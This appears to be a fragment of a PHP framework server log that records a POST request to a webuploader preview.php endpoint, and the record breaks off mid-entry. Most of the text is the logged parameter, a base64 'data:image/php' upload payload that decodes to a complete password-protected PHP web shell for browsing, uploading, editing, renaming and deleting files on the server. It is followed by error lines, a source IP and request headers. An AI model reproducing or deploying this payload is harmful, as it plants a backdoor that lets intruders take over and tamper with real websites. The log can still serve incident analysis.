'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:38+08:00 ] 116.213.36.234 POST www.51tianwei.com/Data/editor/webuploader/0.1.15/server/preview.php [运行时间:0.002514s] [吞吐率:397.79req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 